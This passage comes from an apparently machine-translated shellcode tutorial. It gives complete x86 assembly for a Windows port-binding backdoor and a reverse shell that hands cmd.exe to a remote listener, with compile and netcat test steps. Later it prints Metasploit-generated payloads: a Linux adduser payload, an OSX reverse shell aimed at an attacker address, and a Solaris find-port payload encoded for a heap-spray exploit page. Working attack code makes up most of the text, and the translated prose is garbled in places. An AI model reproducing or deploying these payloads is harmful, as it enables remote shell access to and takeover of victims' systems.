    popad
    ret
    
;END FUNCTION: find_function
;FUNCTION: resolve_symbols_for_dll
resolve_symbols_for_dll:
    lodsd
    push eax
    push edx
    call find_function
    mov [edi], eax
    add esp, 0x08
    add edi, 0x04
    cmp esi, ecx
    jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
    ret
;END FUNCTION: resolve_symbols_for_dll
;DEFINE CONSTANTS
    
locate_kernel32_hashes:
    call locate_kernel32_hashes_return
    ;LoadLibraryA
    db 0x8e
    db 0x4e
    db 0x0e
    db 0xec
    ;CreateProcessA
    db 0x72
    db 0xfe
    db 0xb3
    db 0x16
    ;ExitProcess
    db 0x7e
    db 0xd8
    db 0xe2
    db 0x73
;locate_ws2_32_hashes:
    ;WSASocketA
    db 0xd9
    db 0x09
    db 0xf5
    db 0xad
    ;bind
    db 0xa4
    db 0x1a
    db 0x70
    db 0xc7
    ;socket
    db 0xa4
    db 0xad
    db 0x2e
    db 0xe9
    ;accept
    db 0xe5
    db 0x49
    db 0x86
    db 0x49
    ;WSAStartup
    db 0xcb
    db 0xed
    db 0xfc
    db 0x3b
;END DEFINE CONSTANTS
start_asm: ; start our main program
    sub esp, 0x08 ; allocate space on stack for function addresses
    mov ebp, esp ; set ebp as frame ptr for relative offset on stack
    call find_kernel32 ;find address of Kernel32.dll
    mov edx, eax
    ;resolve kernel32 symbols
    jmp short locate_kernel32_hashes ;locate address of our hashes
locate_kernel32_hashes_return: ;define return label to return to this code
    pop esi ;get constants address from stack
    lea edi, [ebp + 0x04] ;this is where we store our function addresses
    mov ecx, esi
    add ecx, 0x0C ;length of kernel32 hash list
    call resolve_symbols_for_dll
    ;resolve ws2_32 symbols
add ecx, 0x14 ;length of ws2_32 hash list
    ;create the string ws2_32 on the stack
xor eax, eax
mov ax, 0x3233
push eax
push dword 0x5f327377
mov ebx, esp ;ebx now points to "ws2_32"
push ecx
push edx
push ebx
call [ebp + 0x04] ;call LoadLibraryA(ws2_32)
pop edx ;edx now holds location of ws2_32.dll
pop ecx
mov edx, eax
call resolve_symbols_for_dll
initialize_cmd: ;push the string "cmd" onto the stack
    mov eax, 0x646d6301
    sar eax, 0x08
    push eax
    mov [ebp + 0x34], esp
WSAStartup: ;initialise networking
    xor edx,edx ;make some stack space
    mov dh, 0x03 ;sizeof(WSADATA) is 0x190
    sub esp, edx     ;initialize winsock
    push esp ;use stack for WSADATA
    push 0x02 ;wVersionRequested
    call [ebp + 20h] ;call WSAStartup
    add esp, 0x0300 ;move esp over WSAData
create_socket:
    xor eax, eax ;zero eax
    push eax ;Push the dwFlags argument to WSASocket as 0.
    push eax ;Push the g argument to WSASocket as 0.
    push eax ;Push the lpProtocolInfo argument to WSASocket as NULL.
    push eax ;Push the protocol argument to WSASocket as 0.
    inc eax ;Increment eax to 1.
    push eax ;Push the type argument to WSASocket as SOCK STREAM.
    inc eax ;Increment eax to 2.
    push eax ;Push the af argument to WSASocket as AF INET.
    call [ebp + 0x10] ;Call WSASocket to allocate a socket for later use.
    mov esi, eax ;Save the socket file descriptor in esi.
bind:
    xor eax, eax ;Zero eax for use as passing zerod arguments
    xor ebx, ebx ;Zero ebx.
    push eax ;Push zero.
    push eax ;Push zero.
    push eax ;Push the sin addr attribute of struct sockaddr in.
    mov eax, 0x5c110102 ;Set the high order bytes of eax to the port that is to be bound to and the low order bytes to AF INET.
    dec ah ;Fix the sin family attribute such that it is set appropriately.
    push eax ;Push the sin port and sin family attributes.
    mov eax, esp ;Set eax to the pointer to the initialized struct sockaddr in structure.
    mov bl, 0x10 ;Set the low order byte of ebx to 0x10 to signify the size of the structure.
    push ebx ;Push the namelen argument as 0x10.
    push eax ;Push the name argument as the pointer to the struct sockaddr in structure.
    push esi ;Push the file descriptor that was returned from WSASocket
    call [ebp + 0x14] ;Call bind to bind to the selected port.
listen:
    push ebx ;Push 0x10 for use as the backlog argument to listen.
    push esi ;Push the file descriptor that was returned from WSASocket.
    call [ebp + 0x18] ;Call listen to begin listening on the port that was just bound to.
accept:
    push ebx ;Push 0x10 onto the stack.
    mov edx, esp ;Save the pointer to 0x10 in edx.
    sub esp, ebx ;Allocate 16 bytes of stack space for use as the output addr to the accept call.
    mov ecx, esp ;Save the pointer to the output buffer in ecx.
    push edx ;Push the addrlen argument as the pointer to the 0x10 on the stack.
    push ecx ;Push text addr argument as the pointer to the output struct sockaddr in on the stack
    push esi ;Push the file descriptor that was returned by WSASocket.
    call [ebp + 0x1c] ;Call accept and wait for a client connection to arrive. The client connection will be used for the redirected output from the command interpreter.
    mov esi, eax ;Save the client file descriptor in esi.
initialize_process:
    xor ecx, ecx ;Zero ecx.
    mov cl, 0x54 ;Set the low order byte of ecx to 0x54 which will be used to represent the size of the STARTUPINFO and PROCESS INFORMATION structures on the stack.
    sub esp, ecx ;Allocate stack space for the two structures.
    mov edi, esp ;Set edi to point to the STARTUPINFO structure.
    push edi ;Preserve edi on the stack as it will be modified by the following instructions.
zero_structs:
    xor eax, eax ;Zero eax to for use with stosb to zero out the two structures.
    rep stosb ;Repeat storing zero at the buffer starting at edi until ecx is zero.
    pop edi ;Restore edi to its original value.
initialize_structs:
    mov byte[edi], 0x44 ;Set the cb attribute of STARTUPINFO to 0x44 (the size of the structure).
    inc byte[edi + 0x2d] ;Set the STARTF USESTDHANDLES flag to indicate that the hStdInput, hStdOutput, and hStdError attributes should be used.
    push edi ;Preserve edi again as it will be modified by the stosd.
    mov eax, esi ;Set eax to the client file descriptor that was returned by accept
    lea edi, [edi + 0x38] ;Load the effective address of the hStdInput attribute in the STARTUPINFO structure.
    stosd ;Set the hStdInput attribute to the file descriptor returned from accept.
    stosd ;Set the hStdOutput attribute to the file descriptor returned from accept.
    stosd ;Set the hStdError attribute to the file descriptor returned from accept.
    pop edi ;Restore edi to its original value.
execute_process:
    xor eax, eax ;Zero eax for use with passing zerod arguments.
    lea esi, [edi + 0x44] ;Load the effective address of the PROCESS INFORMATION structure into esi.
    push esi ;Push the pointer to the lpProcessInformation structure.
    push edi ;Push the pointer to the lpStartupInfo structure.
    push eax ;Push the lpStartupDirectory argument as NULL.
    push eax ;Push the lpEnvironment argument as NULL
    push eax ;Push the dwCreationFlags argument as 0.
    inc eax ;Increment eax to 1.
    push eax ;Push the bInheritHandles argument as TRUE due to the fact that the client needs to inherit the socket file descriptor.
    dec eax ;Decrement eax back to zero.
    push eax ;Push the lpThreadAttributes argument as NULL.
    push eax ;Push the lpProcessAttributes argument as NULL.
    push dword [ebp + 0x34] ;Push the lpCommandLine argument as the pointer to cmd.
    push eax ;Push the lpApplicationName argument as NULL.
    call [ebp + 0x08] ;Call CreateProcessA to created the child process that has its input and output redirected from and to the remote machine via the TCP connection.
exit_process:
    call [ebp + 0x0c] ;Call ExitProcess as the parent no longer needs to execute
+--------------- End portbind.asm --------------+
Copy the code

Compile assembly code

./shellcode-compiler.sh portbind.asm

You can now use the “shellcode-compiler.sh” command below to compile this shellcode and automatically create an executable program for testing. You should have downloaded this script in Tutorial 1 along with any other required scripts and programs.

Compile portbind.asm to portbind.bin

[nasm -f bin -o portbind.bin portbind.asm] Converting portbind.bin to portbind.shellcode [./xxd-shellcode.sh portbind.asm] \xXX\xXX\xXX\xXX\xXX... [snip]... \xXX\xXX\xXX\xXX\xXX Creating portbind.shellcodetest.c Compiling portbind.shellcodetest.c to portbind.shellcodetest[.exe] [gcc -o portbind.shellcodetest portbind.shellcodetest.c] Complete. You can now execute ./portbind.shellcodetest[.exe] Enjoy, Ty Miller www.projectshellcode.comCopy the code

You should now be ready to test the shellcode.

You should now be ready to test ShellCode

Testing the shellcode

Before we run this program, we want to show that our port 4444/TCP is not currently listening on your local system by running the following command:

Before we run this program, we want to verify that port 4444/ TCP on your local system is not the port we are currently listening on by running a command

netstat -an | grep 4444     (should return nothing listening)

Shellcode is designed to set up a listener with port 4444, it waits for a connection and then redirects that connection to “cmd.exe”, and then the main program will clean up Exit gracefully

./portbind.shellcodetest     (it should sit there waiting for a client to connect)

You now open two bash terminals to connect to this port using either Telnet or netcat, as shown below:

Nc-v Localhost 4444 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Administrator>

If you see a Windows command prompt then you have succeeded

finishing

You should make sure that you have killed any Portbind process (either using the kill program in Cygwin or using Windows Task Manger) congratulations!

You have created shellcode to load ws2_32.dll, initialize the network service on the compromised platform, and then install a backdoor listener that connects back to the victim and redirects the connection to the command prompt.

You are now ready to write network Shellcode! The next step is to create “Connectback” ShellCode (which initializes a connection back to the attacker). This will be covered in the next tutorial.

0x07 Introduction to networks


This tutorial allows your ShellCode to connect back to the attacker from the victim machine. This shellcode is similar to the shellcode that binds ports in the previous tutorial, with a few minor changes that allow your Shellcode to connect back to the attacker. The attacker’s machine will also use Netcat to install a shellCode listener that connects backwards to get remote command prompts.

A lot of the code was pulled and learned from the following awesome paper with some slight modifications.

Studied the following good paper and draw a lot of code (with a slightly modified) – http://www.hick.org/code/skape/papers/win32-shellcode.pdf (Project Shellcode Download:http://projectshellcode.com/downloads/http___||||www.hick.org_code_skape_pap…)

Our Aim

Our purpose

The first stage of this ShellCode completes the same steps as the previous tutorial, locating the Kernel32.dll and functions. In this case, the following function will be required

– LoadLibraryA

– CreateProcessA

– ExitProcess

The main difference with this process is that we no longer need the bind socket or accept functions, but instead use only the network connection functions, but it is not located in kernel32.dll. This means we need to use LoadLibraryA to load “ws2_32.dll”, which contains the following functions we want to call:

– WSASocketA

– connect

– WSAStartup

The hash function requires all of these functions to create, as demonstrated in previous tutorials

These network functions are used to start the network in the process, create a socket and then use it to connect to the attacker’s IP address on pre-defined port 4444

Before exploits can be sent, the attacker should install a Netcat listener at 127.1.1.1 port: 4444 to accept the reverse connection. Once a connection is created in ShellCode, their client sockets are connected to a new command shell process that allows them to send remote commands to the system

Do we need WSAStartup and ExitProcess? (For those of you who did not complete the previous tutorial)

The WSAStartup function is used to initialize the network service in a process. Since our “ShellCodeTest” program will not be able to connect to the network, then we need to call this function from our Shellcode.

If this Shellcode is included in an exploit that exploits a process that has already initialized the network (such as Internet Explorer,IIS, or Apache) then this function is omitted to make shellCode smaller.

Similarly, if the size limit is too strict, the ExitProcess function will also be missed and the main process will be suspended

If none of the functions are removed, you need to update the “Hash List Length” in ws2_32 and Kernel32 shellcode respectively. Need to remember the following shellcode:

Shellcode

+--------------- Start connectback.asm --------------+
;connectback.asm
[SECTION .text]
BITS 32
global _start
_start:
    jmp start_asm
;DEFINE FUNCTIONS
;FUNCTION: find_kernel32
find_kernel32:
    push esi
    xor eax, eax
    mov eax, [fs:eax+0x30]
    test eax, eax
    js find_kernel32_9x
find_kernel32_nt:
    mov eax, [eax + 0x0c]
    mov esi, [eax + 0x1c]
    lodsd
    mov eax, [eax + 0x8]
    jmp find_kernel32_finished
find_kernel32_9x:
    mov eax, [eax + 0x34]
    lea eax, [eax + 0x7c]
    mov eax, [eax + 0x3c]
find_kernel32_finished:
    pop esi
    ret
;END FUNCTION: find_kernel32
;FUNCTION: find_function
find_function:
    pushad
    mov ebp, [esp + 0x24]
    mov eax, [ebp + 0x3c]
    mov edx, [ebp + eax + 0x78]
    add edx, ebp
    mov ecx, [edx + 0x18]
    mov ebx, [edx + 0x20]
    add ebx, ebp
find_function_loop:
    jecxz find_function_finished
    dec ecx
    mov esi, [ebx + ecx * 4]
    add esi, ebp
    
compute_hash:
    xor edi, edi
    xor eax, eax
    cld
compute_hash_again:
    lodsb
    test al, al
    jz compute_hash_finished
    ror edi, 0xd
    add edi, eax
    jmp compute_hash_again
compute_hash_finished:
find_function_compare:
    cmp edi, [esp + 0x28]
    jnz find_function_loop
    mov ebx, [edx + 0x24]
    add ebx, ebp
    mov cx, [ebx + 2 * ecx]
    mov ebx, [edx + 0x1c]
    add ebx, ebp
    mov eax, [ebx + 4 * ecx]
    add eax, ebp
    mov [esp + 0x1c], eax
find_function_finished:
    popad
    ret
    
;END FUNCTION: find_function
;FUNCTION: resolve_symbols_for_dll
resolve_symbols_for_dll:
    lodsd
    push eax
    push edx
    call find_function
    mov [edi], eax
    add esp, 0x08
    add edi, 0x04
    cmp esi, ecx
    jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
    ret
;END FUNCTION: resolve_symbols_for_dll
;DEFINE CONSTANTS
    
locate_kernel32_hashes:
    call locate_kernel32_hashes_return
    ;LoadLibraryA
    db 0x8e
    db 0x4e
    db 0x0e
    db 0xec
    ;CreateProcessA
    db 0x72
    db 0xfe
    db 0xb3
    db 0x16
    ;ExitProcess
    db 0x7e
    db 0xd8
    db 0xe2
    db 0x73
;locate_ws2_32_hashes:
    ;WSASocketA
    db 0xd9
    db 0x09
    db 0xf5
    db 0xad
    ;connect
    db 0xec
    db 0xf9
    db 0xaa
    db 0x60
    ;WSAStartup
    db 0xcb
    db 0xed
    db 0xfc
    db 0x3b
;END DEFINE CONSTANTS
start_asm: ; start our main program
    sub esp, 0x68 ; allocate space on stack for function addresses
    mov ebp, esp ; set ebp as frame ptr for relative offset on stack
    call find_kernel32 ;find address of Kernel32.dll
    mov edx, eax
    ;resolve kernel32 symbols
    jmp short locate_kernel32_hashes ;locate address of our hashes
locate_kernel32_hashes_return: ;define return label to return to this code
    pop esi ;get constants address from stack
    lea edi, [ebp + 0x04] ;this is where we store our function addresses
    mov ecx, esi
    add ecx, 0x0C ;length of kernel32 hash list
    call resolve_symbols_for_dll
    ;resolve ws2_32 symbols
add ecx, 0x0C ;length of ws2_32 hash list
    ;create the string ws2_32 on the stack
xor eax, eax
mov ax, 0x3233
push eax
push dword 0x5f327377
mov ebx, esp ;ebx now points to "ws2_32"
push ecx
push edx
push ebx
call [ebp + 0x04] ;call LoadLibraryA(ws2_32)
pop edx ;edx now holds location of ws2_32.dll
pop ecx
mov edx, eax
call resolve_symbols_for_dll
initialize_cmd: ;push the string "cmd" onto the stack
    mov eax, 0x646d6301
    sar eax, 0x08
    push eax
    mov [ebp + 0x30], esp
WSAStartup: ;initialise networking
    
    xor edx,edx ;make some stack space
    mov dh, 0x03 ;sizeof(WSADATA) is 0x190
    sub esp, edx
     ;initialize winsock
    push esp ;use stack for WSADATA
    push 0x02 ;wVersionRequested
    call [ebp + 18h] ;call WSAStartup
    add esp, 0x0300 ;move esp over WSAData
;SECTION: start custom shellcode
create_socket: ;same as portbind
    xor eax, eax ;zero eax
    push eax ;Push the dwFlags argument to WSASocket as 0.
    push eax ;Push the g argument to WSASocket as 0.
    push eax ;Push the lpProtocolInfo argument to WSASocket as NULL.
    push eax ;Push the protocol argument to WSASocket as 0.
    inc eax ;Increment eax to 1.
    push eax ;Push the type argument to WSASocket as SOCK STREAM.
    inc eax ;Increment eax to 2.
    push eax ;Push the af argument to WSASocket as AF INET.
    call [ebp + 0x10] ;Call WSASocket to allocate a socket for later use.
    mov esi, eax ;Save the socket file descriptor in esi.
do_connect:
    push 0x0101017f ;Push the address of the remote machine to connect to in network-byte order. In this case 127.1.1.1 has been used.
    mov eax, 0x5c110102 ;Set the high order bytes of eax to the port to connect to in networkbyte order (4444). The low order bytes should be set to the family, in this case AF INET3.
    dec ah ;Decrement the second byte of eax to get it to zero and have the family be correctly set to AF INET.
    push eax ;Push the sin port and sin family attributes.
    mov ebx, esp ;Set ebx to the pointer to the struct sockaddr in that has been initialized on the stack.
    xor eax, eax ;Zero eax.
    mov al, 0x10 ;Set the low order byte of eax to 16 to represent the size of the struct sockaddr in.
    push eax ;Push the namelen argument which has been set to 16.
    push ebx ;Push the name argument which has been set to the initialized struct sockaddr in on the stack.
    push esi ;Push the s argument as the file descriptor that was previously returned from WSASocket.
    call [ebp + 0x14] ;Call connect to establish a TCP connection to the remote machine on the specified port.
initialize_process:
    xor ecx, ecx ;Zero ecx.
    mov cl, 0x54 ;Set the low order byte of ecx to 0x54 which will be used to represent the size of the STARTUPINFO and PROCESS INFORMATION structures on the stack.
    sub esp, ecx ;Allocate stack space for the two structures.
    mov edi, esp ;Set edi to point to the STARTUPINFO structure.
    push edi ;Preserve edi on the stack as it will be modified by the following instructions.
zero_structs:
    xor eax, eax ;Zero eax to for use with stosb to zero out the two structures.
    rep stosb ;Repeat storing zero at the buffer starting at edi until ecx is zero.
    pop edi ;Restore edi to its original value.
initialize_structs:
    mov byte[edi], 0x44 ;Set the cb attribute of STARTUPINFO to 0x44 (the size of the structure).
    inc byte[edi + 0x2d] ;Set the STARTF USESTDHANDLES flag to indicate that the hStdInput, hStdOutput, and hStdError attributes should be used.
    push edi ;Preserve edi again as it will be modified by the stosd.
    mov eax, esi ;Set eax to the client file descriptor that was returned by accept
    lea edi, [edi + 0x38] ;Load the effective address of the hStdInput attribute in the STARTUPINFO structure.
    stosd ;Set the hStdInput attribute to the file descriptor returned from accept.
    stosd ;Set the hStdOutput attribute to the file descriptor returned from accept.
    stosd ;Set the hStdError attribute to the file descriptor returned from accept.
    pop edi ;Restore edi to its original value.
execute_process:
    xor eax, eax ;Zero eax for use with passing zerod arguments.
    lea esi, [edi + 0x44] ;Load the effective address of the PROCESS INFORMATION structure into esi.
    push esi ;Push the pointer to the lpProcessInformation structure.
    push edi ;Push the pointer to the lpStartupInfo structure.
    push eax ;Push the lpStartupDirectory argument as NULL.
    push eax ;Push the lpEnvironment argument as NULL
    push eax ;Push the dwCreationFlags argument as 0.
    inc eax ;Increment eax to 1.
    push eax ;Push the bInheritHandles argument as TRUE due to the fact that the client needs to inherit the socket file descriptor.
    dec eax ;Decrement eax back to zero.
    push eax ;Push the lpThreadAttributes argument as NULL.
    push eax ;Push the lpProcessAttributes argument as NULL.
    push dword [ebp + 0x30] ;Push the lpCommandLine argument as the pointer to cmd. Only change in this section to portbind.
    push eax ;Push the lpApplicationName argument as NULL.
    call [ebp + 0x08] ;Call CreateProcessA to created the child process that has its input and output redirected from and to the remote machine via the TCP connection.
exit_process:
    call [ebp + 0x0c] ;Call ExitProcess as the parent no longer needs to execute
+--------------- End connectback.asm --------------+
Copy the code

Compile assembly code

You can now compile this shellcode and automate it into creating a test executable using the following “shellcode-compiler.sh” command. You should have downloaded this script and all the other scripts and programs you need in Tutorial 1. You should get something like this output (depending on the version of the shellcode-Compiler. sh script you have)

$ ./shellcode-compiler.sh connectback.asm

Compile connectback.asm to connectback.bin

[nasm -f bin -o connectback.bin connectback.asm

Convert connectback.bin to ConnectBack.shellCode

[./xxd-shellcode.sh connectback.asm]

\xXX\xXX\xXX\xXX\xXX… [snip]… \xXX\xXX\xXX\xXX\xXX

Create connectback. Shellcodetest. C

The connectback. Shellcodetest. C compiled into connectback. Shellcodetest exe [.]

[gcc -o connectback.shellcodetest connectback.shellcodetest.c]

Done. Now you can perform. / connectback shellcodetest exe [.]

Have fun,

Ty Miller

www.projectshellcode.com

Now you should be ready to test shellCode

Test the shellcode

Before I run this program I want to install a Netcat listener on 127.1.1.1 port: 4444/ TCP. Run the following command in a new cygwinbashshell on your local system

Nc-l-s 127.1.1.1 -p 4444 – n-v

Listening on [127.1.1.1] 4444…

In your original cygwinbashwindows, you should now be able to run your shellcode through the test program.” . / connectback. Shellcodetest. “shellcode designed to connect to our listener on port 4444 / TCP 127.1.1.1, redirect after connected to the” CMD. Exe “and then the main program should clean out

./connectback.shellcodetest     (it should simply exit cleanly

It should simply exit cleanly

In your second Cygwin window you should have received the connection and also been redirected to a Windows command prompt, which may take a while.

Nc-l -s 127.1.1.1 -p 4444 -n -V Listening on [127.1.1.1] 4444… Connect to [127.1.1.1] from (UNKNOWN) [127.1.1.1] 1758 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Administrator>

If you see a Windows command prompt then you have succeeded.

If you see the Windows command prompt then you have succeeded

If you haven’t already, I’ve found that shellCodeTest with ShellCode (including network connectivity) doesn’t seem to work very well in Cygwin. The latest version of

The shellcode-compiler.sh script automatically generates a template that exploits the Internet Explorer vulnerability MS07-004, which contains Shellcode already encoded by Unicode. You can try to uninstall the patch labeled KB929969 on your system and then load the Exploit template in Internet Explorer

test

finishing

You should make sure that you either use the kill program in Cygwin or use Windows Task Manager to kill all netcat listeners already installed on your machine.

A: congratulations!

You have simply created shellcode to load ws2_32.dll, initialized the network, then connected backwards to a backdoor listener, and then redirected to a command prompt on the compromised system

0x08 Generates ShellCode using MSF


Adventurous Adventurous Metasploit is an open source exploit framework that gives you the tools to help you create your own exploits. It can generate a wide range of Shellcodes for different purposes and platforms, and can customize these shellcodes to attack your target

This tutorial is an introduction to generating ShellCode using the Metasploit Framework

Our purpose

We’ll start with a brief look at the Web interface provided by Metasploit and the simplest way to generate ShellCode from Metasploit. We will use this interface to generate the following Shellcode:

– linux/x86/adduser/bind_tcp

Most of the tutorials focus on an introduction to Metasploit’s command-line interface, as these will be used in future tutorials. We will use the command line to generate shellcode in different formats, including RAW, Unicode, and an executable program like Windows

– osx/ppc/shell_reverse_tcp

– solaris/x86/shell_find_port

– windows/exec

This is also how to insert Solaris shellcode into an exploit.

The Metasploit installation process has been added to shellCode Tutorial 1: Introduction and Tool Installation.

Metasploit Web Interface (generate Linux Shellcode)

To access the Metasploit Web interface, running the following program will start running “MSfWeb” at http://127.0.0.1:55555

– C:\msf3\msfweb.bat

This is illustrated in the figure below:

Click “Payloads” at the top of the toolbar to get the shellcode generation feature of the Metasploit Web interface. Now it’s time to see what kind of valid payloads can be generated in the screen below:

We want to use this interface to generate the following Shellcode:

  • linux/x86/adduser/bind_tcp

Type “Add user” in the search area (without quotes) and you should see a bunch of payloads that add a user account to a system. Select Linux Add User payload by clicking the payload title.

You can configure the parameters you want your ShellCode to execute as shown in the figure below, including the user name to create, the password that corresponds to the user name, and the shell that you want the user to use.

Advanced options include some characters that your exploit cannot contain, such as a null character because it terminates the string and often prevents your exploit from working properly. The encoder option allows you to encode your payloads to comply with your exploit’s requirements. For example, if there are no upper case letters in the system you are exploiting, you need to convert the payload to lower case letters before the exploit can be exploited The final formatting option allows you to format output ShellCode for different languages.

On this screen, different payloads will have different options.

For example, if you are using shellCode to connect backwards you will need to specify the IP address of the attacker’s machine so that shellCode can connect backwards to you

As shown below, the default options will be used here

If you now click the Build button, Metasploit will generate shellCode with the parameters you have specified. This should look something like the following:

The shellcode generated is listed below;

/*      * linux/x86/adduser – 124 bytes      * http://www.metasploit.com      * Encoder: x86/shikata_ga_nai      * PrependSetresuid=false, PrependSetreuid=false,      * PrependSetuid=false, AppendExit=false, USER=metasploit,      * PASS=metasploit, SHELL=/bin/sh      */     unsigned char buf[] =     “\xbf\x8e\x4c\x0d\x9e\x29\xc9\xd9\xec\xb1\x19\xd9\x74\x24\xf4”     “\x5a\x31\x7a\x11\x03\x7a\x11\x83\xc2\x8a\xae\xf8\xaf\x5b\xa7”     “\xc8\xba\x1d\xe0\x03\xba\xcb\x15\xc4\x8a\xc2\x47\x9c\x9f\xa7”     “\x10\x38\x08\x68\xf0\xb0\xa9\x1e\x21\x54\x5e\xbd\xb4\x75\xdf”     “\xf4\xc3\xb4\x60\x65\x23\x6e\x61\x89\xb4\x02\x04\xfd\xd5\xaf”     “\xb6\x91\x7a\x39\x43\x53\xc4\xc3\x84\xc7\x8f\x40\xb1\x33\x60”     “\x93\x0c\x69\xe3\xe1\xbe\xb7\xd3\x2f\x85\xe8\x29\x7f\x9b\x9f”     “\x23\x50\x28\x37\xb6\xf7\x45\x96\x3a\x6d\x5e\x40\x0e\xf2\x34”     “\x71\xc8\x3e\x48”;

You then copy this Shellcode into one of the exploits that you have specified for the platform. Because the default format is C this will then be used in an exploit programmed in C. If we have an exploit already written in Perl or Ruby, we will generate shellcode for that language.

Near the end of this tutorial you will demonstrate an example of inserting the generated Shellcode into an exploit

It is important to remember that Metasploit’s Web interface may cause some characters not to be displayed and the generated Shellcode cannot be successfully executed. Therefore, the best way to generate shellcode is to generate shellcode through Metasploit using msfpayload command on the command line

Run the msfpayload command using Metasploit to generate OSX Shellcode. Initially we wanted to start a bash shell (already provided in Metasploit) by running the following executable:

C:\msf3\shell.bat

If you now run “MSfPayload” (without any options), all the shellcode types Metasploit can generate will be displayed

The first payload we want to generate is the OSX PPC Reverse Tcp shell, which is referenced in Metasploit as follows

  • osx/ppc/shell_reverse_tcp

The following is the format for the msfpayload command to accept options

    msfpayload

Output Types:

    S summary and options of payload
    C C language
    P Perl
    y Ruby
    R Raw, allows payload to be piped into msfencode and other tools
    J JavaScript
    X Windows executable
    V VBA
Copy the code

Based on these options, we now know the name of the payload we want, but we don’t know what parameters we need to set for this payload. This problem can be solved by enumerating the “s” option for MSfPayload, as shown below

$ msfpayload osx/ppc/shell_reverse_tcp S      Name: OSX Command Shell, Reverse TCP Inline      Version: 6479      Platform: [“OSX”]      Arch: ppc     Needs Admin: No      Total size: 164     Provided by:      [email protected]     Basic options:     Name Current Setting Required Description     —|||- –|||—|||—|||—|||—|||- –|||—|||—||| —|||—|||—|||–     LHOST yes The local address     LPORT 4444 yes The local port

Description:

Connect back to the attacker and produce a command shell

We can see our custom LHOST and LPORT variables. The next option is the output type. For this example we stick to “C” (the C programming language). Therefore, run the following command to generate our shellcode

$MSfpayload OSx/PPC/shell_reverse_TCP LHOST=10.1.1.100,LPORT=1337 C /* * OSx/PPC/shell_reverse_TCP - 164 bytes * http://www.metasploit.com * LHOST = 10.1.1.100 LPORT = 1337, PrependSetresuid = false, * PrependSetreuid = false, PrependSetuid=false, AppendExit=false */ unsigned char buf[] = "\x38\x60\x00\x02\x38\x80\x00\x01\x38\xa0\x00\x06\x38\x00\x00" "\x61\x44\x00\x00\x02\x7c\x00\x02\x78\x7c\x7e\x1b\x78\x48\x00" "\x00\x0d\x00\x02\x05\x39\x0a\x01\x01\x64\x7c\x88\x02\xa6\x38" "\xa0\x00\x10\x38\x00\x00\x62\x7f\xc3\xf3\x78\x44\x00\x00\x02" "\x7c\x00\x02\x78\x38\xa0\x00\x02\x38\x00\x00\x5a\x7f\xc3\xf3" "\x78\x7c\xa4\x2b\x78\x44\x00\x00\x02\x7c\x00\x02\x78\x38\xa5" "\xff\xff\x2c\x05\xff\xff\x40\x82\xff\xe5\x38\x00\x00\x42\x44" "\x00\x00\x02\x7c\x00\x02\x78\x7c\xa5\x2a\x79\x40\x82\xff\xfd" "\x7c\x68\x02\xa6\x38\x63\x00\x20\x90\x61\xff\xf8\x90\xa1\xff" "\xfc\x38\x81\xff\xf8\x38\x00\x00\x3b\x7c\x00\x04\xac\x44\x00" "\x00\x02\x2f\x62\x69\x6e\x2f\x63\x73\x68\x00\x41\x41\x41";Copy the code

An example is the “Intelli Tamper2.0.7(HTML parser) Remote Buffer Overflow exploit” written in C. You can find it here

(Project Shellcode Download: http://www.projectshellcode.com/downloads/milw0rm-6121.c)

Use JavaScript (Unicode) to encode Solaris Shellcode generated by executing the msfpayload command through Metasploit

The Shellcode generated by Metasploit is platform-independent, so the processing details are no different from those above. To prove this point, we will step through the payload generated below

– solaris/x86/shell_find_port

This type of Payload is often known as the “Connect Reuse” or “Find Port” shellcode. This shellcode technique is useful when trying to exploit a host behind a firewall whose inbound and outbound rules have been locked so that no available inbound ports are closed or outbound ports are open. This setup blocks attackers using port bindings or reverse-connected payloads. Because they will be isolated by the firewall.

When a firewall uses NAT to connect to a host, the firewall terminates the connection established by the attacker on the firewall and creates a new connection that connects a firewall to a host with a new source port. Similarly, if the connection goes through an agent, a new connection is created between the target and the agent. When ShellCode searches for the attacker’s source port, ShellCode cannot find it and ShellCode cannot work properly. For this reason,Metasploit has a different type of payload named “find_tag”, which places a predefined “tag” on the established connection. It’s a payload that finds tags in established connections and recognizes connections that are associated with them

After this little description, the first thing we want to do is figure out what option this payload needs with the following command.

$ msfpayload solaris/x86/shell_find_port S
     Name: Solaris Command Shell, Find Port Inline
     Version: 6479
     Platform: ["Solaris"]
     Arch: x86
    Needs Admin: No
     Total size: 136
    Provided by:
     Ramon de Carvalho Valle<[email protected]>
    Basic options:
    Name Current Setting Required Description
    ---- --------------- -------- -----------
    CPORT 64865 no The local client port
Copy the code

Output a shell on an established connection

Since the only variable used in this case is CPORT, it has a default value. Anyway, we’ll specify it on the command line

There are a lot of client-side vulnerabilities out there in software these days, like Internet Explorer,Adobe Reader, Microsoft Office, etc. Exploits and shelcode are typically injected into a harmful HTML page to exploit these vulnerabilities. Because most ShellCode contains binary data, it cannot be inserted directly into a web page. In this case, it is encoded using Unicode Encoding so that it can be put into a JavaScript function, and decoded using the unescape() function. Of course,Metasploit provides JavaScript (or J) options when automating shellcode in msFPayload using Unicode encoding. Run the following command:

$ msfpayload solaris/x86/shell_find_port CPORT=1337 J     // solaris/x86/shell_find_port – 86 bytes     // http://www.metasploit.com     // CPORT=1337, PrependSetreuid=false, PrependSetuid=false,     // AppendExit=false     %udb31%ue3f7%u8953%u68e7%ud8ff%u3cff%u656a%ue689%u56f7%uf604     %u5716%u91b3%u5353%ub754%u5354%u5850%u5040%u366a%uff58%u66d6     %u7f81%u0502%u7539%u58f0%u6a50%u5009%u3e6a%uff58%uffd6%ue04f     %uf679%u6850%u2f2f%u6873%u2f68%u6962%u896e%u50e3%u8953%u50e1     %u5351%u3bb0%ud6ff

As this example illustrates, a client exploit may contain the following snippet of code, where payload is inserted

<SCRIPT language="javascript"> var heapSprayToAddress = 0x05050505; var payLoadCode = unescape("insertpayloadhere"); var heapBlockSize = 0x400000; .Copy the code

The generated Shellcode can simply be copied into the “insertPayloadHere” area of this exploit. Often you’ll find an exploit that already contains one of these shellcodes, such as a payload for a bound port. You simply replace it with your own shellcode that defines the exploits of your target environment.

